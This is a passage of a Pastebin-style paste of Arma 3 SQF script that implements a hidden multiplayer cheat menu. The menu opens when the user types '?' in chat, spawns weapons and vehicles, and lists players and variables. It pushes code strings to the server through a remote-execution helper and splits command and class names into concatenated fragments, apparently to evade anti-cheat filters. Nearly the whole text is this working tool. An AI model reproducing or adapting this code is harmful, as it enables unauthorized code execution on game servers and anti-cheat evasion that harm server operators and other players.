- params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
- _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
- _var = _ctrl lbText _index;
- [_GLOBAL_ARRAY,["CurrentMenu","VariableMenu"]] call _set;
- [_GLOBAL_ARRAY,["TargetVariable",_var]] call _set;
- _cList = (findDisplay 602) displayCtrl 640;
- lbClear _cList;
- [_GLOBAL_ARRAY,_set,_get,_cList] spawn _LoadScripts;
- };
- _OnScriptDblClick = {
- disableSerialization;
- params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
- _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
- _togVar = [_GLOBAL_ARRAY,["togVar",{}]] call _get;
- _cMenu = [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _get;
- _menu = [_GLOBAL_ARRAY,[_cMenu,"MainMenu"]] call _get;
- _target = [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _get;
- _tvar = [_GLOBAL_ARRAY,["TargetVariable",""]] call _get;
- _item = _menu select _index;
- _script = _item select 1;
- _isToggle = _item select 2;
- _variable = _item select 3;
- if(_cMenu == "TargetMenu") then {
- _variable = format[_item select 3,getplayeruid _target];
- };
- if(_cMenu == "VariableMenu") then {
- _variable = format[_item select 3,_tvar];
- };
- _value = false;
- if(_isToggle) then {
- _value = [_variable,_GLOBAL_ARRAY,_set,_get] call _togVar;
- if(_value) then {
- _ctrl lbSetColor [_index,[0.3,1,0.3,1]];
- _ctrl lbSetSelectColor [_index,[0.3,1,0.3,1]];
- } else {
- _ctrl lbSetColor [_index,[1,0.3,0.3,1]];
- _ctrl lbSetSelectColor [_index,[1,0.3,0.3,1]];
- };
- };
- if(_cMenu == "TargetMenu") then {
- [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
- [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _set;
- lbClear _ctrl;
- [_GLOBAL_ARRAY,_set,_get,_ctrl] spawn _LoadScripts;
- };
- if(_cMenu == "VariableMenu") then {
- [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
- [_GLOBAL_ARRAY,["TargetVariable",""]] call _set;
- lbClear _ctrl;
- [_GLOBAL_ARRAY,_set,_get,_ctrl] spawn _LoadScripts;
- };
- _ctrl lbSetCurSel -1;
- if(_cMenu == "VariableMenu") then {
- with missionNamespace do {
- [_GLOBAL_ARRAY,_get,_set,_target,_value,_tvar] call _script;
- };
- } else {
- [_GLOBAL_ARRAY,_get,_set,_target,_value,_tvar] call _script;
- };
- };
- _OnWeaponDblClick = {
- disableSerialization;
- params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
- _holders = player nearObjects ["GroundWeaponHolder",1];
- _gwh = objNull;
- if(count(_holders) > 0) then {
- _gwh = _holders select 0;
- } else {
- _gwh = "groundWeaponHolder" createVehicle (getpos player);
- };
- _class = _ctrl lbData _index;
- if(isClass (configFile >> "CfgWeapons" >> _class)) then {
- if((toLower(_class) find "item" == 0) || (toLower(_class) find "h_" == 0) || (toLower(_class) find "u_" == 0) || (toLower(_class) find "v_" == 0) || (toLower(_class) find "minedetector" == 0) || (toLower(_class) find "binocular" == 0) || (toLower(_class) find "rangefinder" == 0) || (toLower(_class) find "NVGoggles" == 0) || (toLower(_class) find "laserdesignator" == 0) || (toLower(_class) find "firstaidkit" == 0) || (toLower(_class) find "medkit" == 0) || (toLower(_class) find "toolkit" == 0) || (toLower(_class) find "muzzle_" == 0) || (toLower(_class) find "optic_" == 0) || (toLower(_class) find "acc_" == 0) || (toLower(_class) find "bipod_" == 0)) then {
- _gwh addItemCargoGlobal [_class,1];
- } else {
- _gwh addWeaponCargoGlobal [_class,1];
- _mags = getArray(configFile >> "CfgWeapons" >> _class >> "Magazines");
- _mag = "";
- {
- _mag = _x;
- _cfg = configFile >> "CfgMagazines" >> _mag;
- if(isClass _cfg) exitWith {};
- } forEach _mags;
- _gwh addMagazineCargoGlobal [_mag,3];
- };
- };
- if(isClass (configFile >> "CfgMagazines" >> _class)) then {
- _gwh addMagazineCargoGlobal [_class,3];
- };
- if(isClass (configFile >> "CfgVehicles" >> _class)) then {
- _gwh addBackpackCargoGlobal [_class,3];
- };
- _gwh setposatl (getposatl player);
- };
- _OnVehicleDblClick = {
- disableSerialization;
- params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
- _vClass = _ctrl lbData _index;
- _toggle = [_GLOBAL_ARRAY,["RemoteVSpawn",false]] call _get;
- if(_toggle) then {
- _dohelimode = [_GLOBAL_ARRAY,["SpawnHeliMode",false]] call _get;
- if(_dohelimode) then {
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- _heli = ""B_Heli_Light_" + "01_armed_F"" createVehicle " + str(player modeltoworld [0,8,0]) + ";
- _heli setdir (" + str(getdir player) + ");
- {_heli setObjectTextureGlobal [_forEachIndex,""""];} forEach getObjectTextures _heli;
- _heli setVar" + "iable [""ROFL"",true,true];
- _obj = (""" + _vClass + """) createVehicle [0,0,0];
- _obj attachTo [_heli,[0,0,1]];
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- waitUntil{_found = false;{if(_x getVariable ["ROFL",false]) exitWith {_found = true;};} forEach (player nearObjects ["B_Heli_Light_01_armed_F",30]);_found};
- {
- if(_x getVariable ["ROFL",false]) exitWith {
- player moveInDriver _x;
- };
- } forEach (player nearObjects ["B_Heli_Lig" + "ht_01_armed_F",30]);
- } else {
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- _obj = (""" + _vClass + """) createVehicle " + str(position player) + ";
- _obj setposasl (agltoasl(" + str(player modeltoworld [0,8,0]) + "));
- _obj setdir (" + str(getdir player) + ");
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- } else {
- _obj = _vClass createVehicleLocal (position player);
- _obj setposasl (agltoasl(player modeltoworld [0,8,0]));
- _obj setdir (getdir player);
- };
- hint format["Spawned a %1",_ctrl lbText _index];
- };
- _LoadScripts = {
- disableSerialization;
- params["_GLOBAL_ARRAY","_set","_get","_cList"];
- _cMenu = [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _get;
- _menu = [_GLOBAL_ARRAY,[_cMenu,"MainMenu"]] call _get;
- _target = [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _get;
- _tvar = [_GLOBAL_ARRAY,["TargetVariable",objNull]] call _get;
- {
- _text = format[_x select 0,name _target];
- if(isNull _target) then {
- _text = format[_x select 0,getText(configFile >> "CfgVehicles" >> typeof cursorObject >> "DisplayName")];
- };
- _script = _x select 1;
- _isToggle = _x select 2;
- _variable = _x select 3;
- if(_cMenu == "TargetMenu") then {
- _variable = format[_x select 3,getplayeruid _target];
- };
- if(_cMenu == "VariableMenu") then {
- _variable = format[_x select 3,_tvar];
- };
- _value = [_GLOBAL_ARRAY,[_variable,false]] call _get;
- _index = _cList lbAdd _text;
- if(count(_x) > 4) then {
- if(count(_x) > 5) then {
- _cList lbSetColor [_index,_x select 4];
- _cList lbSetSelectColor [_index,_x select 4];
- _cList lbSetTooltip [_index,_x select 5];
- } else {
- if(typename (_x select 4) == typename "") then {
- _cList lbSetTooltip [_index,_x select 4];
- } else {
- _cList lbSetColor [_index,_x select 4];
- _cList lbSetSelectColor [_index,_x select 4];
- };
- };
- };
- if(_isToggle) then {
- if(_value) then {
- _cList lbSetColor[_index,[0.3,1,0.3,1]];
- _cList lbSetSelectColor [_index,[0.3,1,0.3,1]];
- } else {
- _cList lbSetColor[_index,[1,0.3,0.3,1]];
- _cList lbSetSelectColor [_index,[1,0.3,0.3,1]];
- };
- };
- } forEach _menu;
- };
- _EventTrigger = {
- params["_GLOBAL_ARRAY","_set","_get"];
- _OnPlayerDblClick = [_GLOBAL_ARRAY,["OnPlayerDblClick",{}]] call _get;
- _OnScriptDblClick = [_GLOBAL_ARRAY,["OnScriptDblClick",{}]] call _get;
- _OnWeaponDblClick = [_GLOBAL_ARRAY,["OnWeaponDblClick",{}]] call _get;
- _OnVehicleDblClick = [_GLOBAL_ARRAY,["OnVehicleDblClick",{}]] call _get;
- _OnVariableDblClick = [_GLOBAL_ARRAY,["OnVariableDblClick",{}]] call _get;
- disableSerialization;
- while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
- waitUntil{!isNull (findDisplay 602)};
- _ctrl = (findDisplay 602) displayCtrl 111;
- _ctrl ctrlSetText "";
- waitUntil{isNull _ctrl || ctrlText _ctrl != ""};
- if(!isNull _ctrl) then {
- _data = ctrlText _ctrl;
- if(_data != "") then {
- _parts = _data splitString "|";
- _list = _parts select 0;
- _index = parseNumber (_parts select 1);
- if(_list == "PLIST") then {
- [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 632,_index] spawn _OnPlayerDblClick;
- };
- if(_list == "WLIST") then {
- [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 633,_index] spawn _OnWeaponDblClick;
- };
- if(_list == "VLIST") then {
- [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 638,_index] spawn _OnVehicleDblClick;
- };
- if(_list == "VALIST") then {
- [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 619,_index] spawn _OnVariableDblClick;
- };
- if(_list == "CLIST") then {
- [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 640,_index] spawn _OnScriptDblClick;
- };
- };
- };
- };
- };
- _OpenMainUI = {
- params["_GLOBAL_ARRAY","_set","_get"];
- _LoadPlayersToList = [_GLOBAL_ARRAY,["LoadPlayersToList",{}]] call _get;
- _LoadWeaponList = [_GLOBAL_ARRAY,["LoadWeaponList",{}]] call _get;
- _LoadVehicleList = [_GLOBAL_ARRAY,["LoadVehicleList",{}]] call _get;
- _DtCreate = [_GLOBAL_ARRAY,["DtCreate",{}]] call _get;
- _PlayerListDblClick = [_GLOBAL_ARRAY,["PlayerListDblClick",{}]] call _get;
- _VariableListDblClick = [_GLOBAL_ARRAY,["VariableListDblClick",{}]] call _get;
- _ScriptListDblClick = [_GLOBAL_ARRAY,["ScriptListDblClick",{}]] call _get;
- _VehicleListDblClick = [_GLOBAL_ARRAY,["VehicleListDblClick",{}]] call _get;
- _WeaponListDblClick = [_GLOBAL_ARRAY,["WeaponListDblClick",{}]] call _get;
- _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
- _LoadVariableList = [_GLOBAL_ARRAY,["LoadVariableList",{}]] call _get;
- _vehicleList = [_GLOBAL_ARRAY,["vehicleData",[]]] call _get;
- _weaponList = [_GLOBAL_ARRAY,["weaponData",[]]] call _get;
- comment "Reset menu";
- [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
- [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _set;
- disableSerialization;
- _display = findDisplay 602;
- {
- _x ctrlShow false;
- } forEach (allControls _display);
- _pList = _display displayCtrl 632;
- _cList = _display displayCtrl 640;
- lbClear _pList;
- lbClear _cList;
- _ctrl = _display displayCtrl 632;
- _size = ctrlPosition _ctrl;
- comment "MAIN UI DESIGN";
- _pList ctrlShow true;
- _pList ctrlSetPosition [safeZoneX + (safeZoneW/2) + 0.005,safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
- _pList ctrlCommit 0;
- [_pList] spawn _LoadPlayersToList;
- _pList ctrlAddEventHandler ["LbDblClick",_PlayerListDblClick];
- _cList ctrlShow true;
- _cList ctrlSetPosition [safeZoneX + (safeZoneW/2) - 0.005 - (_size select 2),safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
- _cList ctrlCommit 0;
- [_GLOBAL_ARRAY,_set,_get,_cList] spawn _LoadScripts;
- _cList ctrlAddEventHandler ["LbDblClick",_ScriptListDblClick];
- _back1 = _display displayCtrl 1001;
- _back1 ctrlShow true;
- _back1 ctrlSetPosition [safeZoneX + (safeZoneW/2) + 0.005,safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
- _back1 ctrlCommit 0;
- _back2 = _display displayCtrl 1002;
- _back2 ctrlShow true;
- _back2 ctrlSetPosition [safeZoneX + (safeZoneW/2) - 0.005 - (_size select 2),safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
- _back2 ctrlCommit 0;
- comment "OTHER LISTBOXES";
- _wList = _display displayCtrl 633;
- _vList = _display displayCtrl 638;
- _uList = _display displayCtrl 619;
- lbClear _wList;
- lbClear _vList;
- _ctrl = _display displayCtrl 619;
- _size2 = ctrlPosition _ctrl;
- _wList ctrlShow true;
- _wList ctrlSetPosition [safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2) - 0.01 - (_size2 select 2), safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
- _wList ctrlCommit 0;
- [_wList,_weaponList] spawn _LoadWeaponList;
- _wList ctrlAddEventHandler ["LbDblClick",_WeaponListDblClick];
- _vList ctrlShow true;
- _vList ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
- _vList ctrlCommit 0;
- [_vList,_vehicleList] spawn _LoadVehicleList;
- _vList ctrlAddEventHandler ["LbDblClick",_VehicleListDblClick];
- _uList ctrlShow true;
- _uList ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01 + (_size2 select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
- _uList ctrlCommit 0;
- [_uList] spawn _LoadVariableList;
- _uList ctrlAddEventHandler ["LbDblClick",_VariableListDblClick];
- _back3 = _display displayCtrl 1020;
- _back3 ctrlShow true;
- _back3 ctrlSetBackgroundColor [0.05,0.05,0.05,0.7];
- _back3 ctrlSetPosition [safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2) - 0.01 - (_size2 select 2), safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
- _back3 ctrlCommit 0;
- _back4 = _display displayCtrl 1014;
- _back4 ctrlShow true;
- _back4 ctrlSetBackgroundColor [0.05,0.05,0.05,0.7];
- _back4 ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
- _back4 ctrlCommit 0;
- _back5 = _display displayCtrl 111;
- _back5 ctrlShow true;
- _back5 ctrlSetText "";
- _back5 ctrlSetBackgroundColor [0.05,0.05,0.05,0.7];
- _back5 ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01 + (_size2 select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
- _back5 ctrlCommit 0;
- _dtDataWeapons = [
- _GLOBAL_ARRAY,
- _set,
- _get,
- "<t size=""0.8""><t align=""center"">Weapon List</t>",
- [
- safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2) - 0.01 - (_size2 select 2),
- (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
- _size2 select 2,
- safezoneh/20
- ],
- [1,1,1,1]
- ] call _DtCreate;
- _dtDataFunctions = [
- _GLOBAL_ARRAY,
- _set,
- _get,
- "<t size=""0.8""><t align=""center"">Script List</t>",
- [
- safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2),
- (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
- _size select 2,
- safezoneh/20
- ],
- [1,1,1,1]
- ] call _DtCreate;
- _dtDataPlayers = [
- _GLOBAL_ARRAY,
- _set,
- _get,
- "<t size=""0.8"" align=""center"">Player List</t>",
- [
- safeZoneX + (safeZoneW / 2) + 0.005,
- (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
- _size select 2,
- safezoneh/20
- ],
- [1,1,1,1]
- ] call _DtCreate;
- _dtDataVehicles = [
- _GLOBAL_ARRAY,
- _set,
- _get,
- "<t size=""0.8"" align=""center"">Vehicle List</t>",
- [
- safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01,
- (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
- _size2 select 2,
- safezoneh/20
- ],
- [1,1,1,1]
- ] call _DtCreate;
- _dtDataVariables = [
- _GLOBAL_ARRAY,
- _set,
- _get,
- "<t size=""0.8"" align=""center"">Variable List</t>",
- [
- safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01 + (_size2 select 2) + 0.01,
- (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
- _size2 select 2,
- safezoneh/20
- ],
- [1,1,1,1]
- ] call _DtCreate;
- [_dtDataVariables,_dtDataVehicles,_dtDataFunctions,_dtDataPlayers,_dtDataWeapons];
- };
- comment "Load everything into global namespace";
- [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
- [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _set;
- [_GLOBAL_ARRAY,["TargetVariable",""]] call _set;
- [_GLOBAL_ARRAY,["MainMenu",_mainMenu]] call _set;
- [_GLOBAL_ARRAY,["TargetMenu",_targetMenu]] call _set;
- [_GLOBAL_ARRAY,["VariableMenu",_variableMenu]] call _set;
- [_GLOBAL_ARRAY,["cShape",_cShape]] call _set;
- [_GLOBAL_ARRAY,["sLocal",_sLocal]] call _set;
- [_GLOBAL_ARRAY,["re",_re]] call _set;
- [_GLOBAL_ARRAY,["LoadScripts",_LoadScripts]] call _set;
- [_GLOBAL_ARRAY,["saveCFG",_saveCFG]] call _set;
- [_GLOBAL_ARRAY,["rString",_rString]] call _set;
- [_GLOBAL_ARRAY,["toSafeUIString",_toSafeUIString]] call _set;
- [_GLOBAL_ARRAY,["togVar",_togVar]] call _set;
- [_GLOBAL_ARRAY,["DtCreate",_DtCreate]] call _set;
- [_GLOBAL_ARRAY,["DtGetControl",_DtGetControl]] call _set;
- [_GLOBAL_ARRAY,["DtDelete",_DtDelete]] call _set;
- [_GLOBAL_ARRAY,["OpenMainUI",_OpenMainUI]] call _set;
- [_GLOBAL_ARRAY,["LoadPlayersToList",_LoadPlayersToList]] call _set;
- [_GLOBAL_ARRAY,["LoadWeaponList",_LoadWeaponList]] call _set;
- [_GLOBAL_ARRAY,["LoadVehicleList",_LoadVehicleList]] call _set;
- [_GLOBAL_ARRAY,["LoadVariableList",_LoadVariableList]] call _set;
- [_GLOBAL_ARRAY,["PlayerListDblClick",_PlayerListDblClick]] call _set;
- [_GLOBAL_ARRAY,["VariableListDblClick",_VariableListDblClick]] call _set;
- [_GLOBAL_ARRAY,["VehicleListDblClick",_VehicleListDblClick]] call _set;
- [_GLOBAL_ARRAY,["WeaponListDblClick",_WeaponListDblClick]] call _set;
- [_GLOBAL_ARRAY,["ScriptListDblClick",_ScriptListDblClick]] call _set;
- [_GLOBAL_ARRAY,["OnPlayerDblClick",_OnPlayerDblClick]] call _set;
- [_GLOBAL_ARRAY,["OnVariableDblClick",_OnVariableDblClick]] call _set;
- [_GLOBAL_ARRAY,["OnScriptDblClick",_OnScriptDblClick]] call _set;
- [_GLOBAL_ARRAY,["OnWeaponDblClick",_OnWeaponDblClick]] call _set;
- [_GLOBAL_ARRAY,["OnVehicleDblClick",_OnVehicleDblClick]] call _set;
- comment "Load UI";
- comment "///////////////////////////////////////// Rainbow Header Text \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\";
- _t1 = [_GLOBAL_ARRAY,_get,_set] spawn {
- params["_GLOBAL_ARRAY","_get","_set"];
- _DtCreate = [_GLOBAL_ARRAY,["DtCreate",{}]] call _get;
- _DtGetControl = [_GLOBAL_ARRAY,["DtGetControl",{}]] call _get;
- _DtDelete = [_GLOBAL_ARRAY,["DtDelete",{}]] call _get;
- _Data = [_GLOBAL_ARRAY,_set,_get,"<t size=""0.8"" align=""center"">" + (if(isNil "RANDOMVAR") then {" - test"} else {""}) +"</t>",[safezonex,safezoney,safezonew,safezoneh/20],[random(1),random(1),random(1),1]] call _DtCreate;
- _control = [_Data] call _DtGetControl;
- while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
- _control ctrlsettextcolor [random(1),random(1),random(1),1];
- _control ctrlCommit 0;
- uiSleep 0.1;
- };
- [_GLOBAL_ARRAY,_set,_get,_Data] call _DtDelete;
- };
- [_GLOBAL_ARRAY,_set,_get,"<t size=""0.3"" align=""left"">< " + name player + ":" + getplayeruid player + " > </t>",[safezonex,safezoney,safezonew,safezoneh/20],[random(1),random(1),random(1),1]] call _DtCreate;
- comment "Load vehicle and weapon lists";
- _vehicles = [];
- _vehicleNames = [];
- _cfg = configFile >> "CfgVehicles";
- for "_i" from 0 to count(_cfg)-1 do {
- _entry = _cfg select _i;
- if(isClass _entry) then {
- _scope = getNumber(_entry >> "scope");
- if(_scope == 2) then {
- _cfgName = configName _entry;
- _vType = "";
- if(_cfgName isKindOf "LandVehicle") then {
- _vType = "A";
- };
- if(_cfgName isKindOf "Air") then {
- _vType = "B";
- };
- if(_cfgName isKindOf "Ship") then {
- _vType = "C";
- };
- if(_vType != "") then {
- _dName = getText(_entry >> "DisplayName");
- _picture = getText(_entry >> "Picture");
- if(_dName != "") then {
- if !(_dName in _vehicleNames) then {
- _vehicles pushback [_vType,_dName,_cfgName,_picture];
- _vehicleNames pushBack _dName;
- };
- };
- };
- };
- };
- };
- _vehicles sort true;
- [_GLOBAL_ARRAY,["vehicleData",_vehicles]] call _set;
- _weapons = [];
- _weaponNames = [];
- _cfg = configFile >> "CfgWeapons";
- for "_i" from 0 to count(_cfg)-1 do {
- _entry = _cfg select _i;
- if(isClass _entry) then {
- _scope = getNumber(_entry >> "scope");
- if(_scope == 2) then {
- _dName = getText(_entry >> "DisplayName");
- _picture = getText(_entry >> "Picture");
- if(_dName != "") then {
- if !(_dName in _weaponNames) then {
- _weapons pushback [_dName,configName _entry,_picture];
- _weaponNames pushBack _dName;
- };
- };
- };
- };
- };
- _weapons sort true;
- [_GLOBAL_ARRAY,["weaponData",_weapons]] call _set;
- comment "Init UI";
- _t2 = [_GLOBAL_ARRAY,_set,_get] spawn _EventTrigger;
- _t3 = [_GLOBAL_ARRAY,_set,_get] spawn {
- disableSerialization;
- params["_GLOBAL_ARRAY","_set","_get"];
- _OpenMainUI = [_GLOBAL_ARRAY,["OpenMainUI",{}]] call _get;
- _DtDelete = [_GLOBAL_ARRAY,["DtDelete",{}]] call _get;
- while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
- waitUntil{!isNull (findDisplay 24)};
- _open = false;
- _open2 = false;
- _ctrl = (findDisplay 24) displayCtrl 101;
- while{!isNull (findDisplay 24)} do {
- if(ctrlText _ctrl == "?") exitWith {
- _open = true;
- _ctrl ctrlSetText "";
- (findDisplay 24) closeDisplay 0;
- };
- if(ctrlText _ctrl == "$") exitWith {
- comment "/////////////////////////////////// THIS IS FUCKING BROKEN ///////////////////////////";
- _open2 = true;
- _ctrl ctrlSetText "";
- (findDisplay 24) closeDisplay 0;
- };
- uiSleep 0.1;
- };
- if(_open2) then {
- hint "Open your inventory to open the menu";
- waitUntil{!isNull (findDisplay 602)};
- hint "Opening menu, please wait a few seconds";
- sleep 2;
- _data = [_GLOBAL_ARRAY,_set,_get] call _OpenMainUI;
- waitUntil{isNull (findDisplay 602)};
- {
- [_GLOBAL_ARRAY,_set,_get,_x] call _DtDelete;
- } forEach _data;
- };
- if(_open) then {
- _a = "create";
- _a = _a + "dialog ""RscDispl" + "ayInventory"";";
- _b = compile _a;
- call _b;
- waitUntil{!isNull (findDisplay 602)};
- _data = [_GLOBAL_ARRAY,_set,_get] call _OpenMainUI;
- waitUntil{isNull (findDisplay 602)};
- {
- [_GLOBAL_ARRAY,_set,_get,_x] call _DtDelete;
- } forEach _data;
- };
- };
- };
- _t4 = [_GLOBAL_ARRAY,_get,_set] spawn {
- params["_GLOBAL_ARRAY","_get","_set"];
- while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
- waitUntil{userInputDisabled || !([_GLOBAL_ARRAY,["IsRunning",true]] call _get)};
- disableUserInput false;
- };
- };
- hint "Type ? in the chat to open the menu!\nIf that kicks type $ in the chat and open your inventory";
- comment "Shutdown";
- comment "wait for shutdown and wait for all threads to be kill";
- waitUntil{uiSleep 1;!([_GLOBAL_ARRAY,["IsRunning",true]] call _get)};
- waitUntil{scriptDone _t1};
- waitUntil{scriptDone _t2};
- waitUntil{scriptDone _t3};
- waitUntil{scriptDone _t4};
- _currentData = [_GLOBAL_ARRAY,["DtDataArray",[]]] call _get;
- {
- (_x select 1) cutText["","PLAIN"];
- } forEach _currentData;
- _exiting = [_GLOBAL_ARRAY,["IsExiting",false]] call _get;;
- hint "";
- comment "clear up the global array (effectively wipping the values from being accessed (i think)";
- _GLOBAL_ARRAY = nil;
- if(_exiting) exitWith {};
- hint "Resetting in 3 seconds";
- uiSleep 3;
- };
- };
- [] spawn RANDOMVAR;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement